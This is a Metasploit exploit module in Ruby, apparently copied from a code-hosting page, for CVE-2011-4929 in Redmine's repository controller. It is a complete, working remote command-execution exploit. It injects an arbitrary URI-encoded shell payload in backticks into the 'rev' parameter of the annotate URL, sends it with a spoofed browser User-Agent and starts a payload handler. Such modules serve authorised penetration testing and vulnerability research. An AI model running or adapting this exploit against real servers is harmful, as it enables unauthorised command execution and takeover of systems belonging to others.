77 lines
2.1 KiB
Ruby
77 lines
2.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Redmine SCM Repository Arbitrary Command Execution',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary command execution vulnerability in the
|
|
Redmine repository controller. The flaw is triggered when a rev parameter
|
|
is passed to the command line of the SCM tool without adequate filtering.
|
|
},
|
|
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-4929'],
|
|
['OSVDB', '70090'],
|
|
['URL', 'http://www.redmine.org/news/49' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 512,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
#'RequiredCmd' => 'generic telnet',
|
|
}
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
'DisclosureDate' => 'Dec 19 2010',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
command = Rex::Text.uri_encode(payload.encoded)
|
|
urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`"
|
|
|
|
res = send_request_raw({
|
|
'uri' => urlconfigdir,
|
|
'method' => 'GET',
|
|
'headers' =>
|
|
{
|
|
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
|
|
'Connection' => 'Close',
|
|
}
|
|
}, 25)
|
|
|
|
if (res)
|
|
print_status("The server returned: #{res.code} #{res.message}")
|
|
else
|
|
print_status("No response from the server")
|
|
end
|
|
handler
|
|
end
|
|
|
|
end
|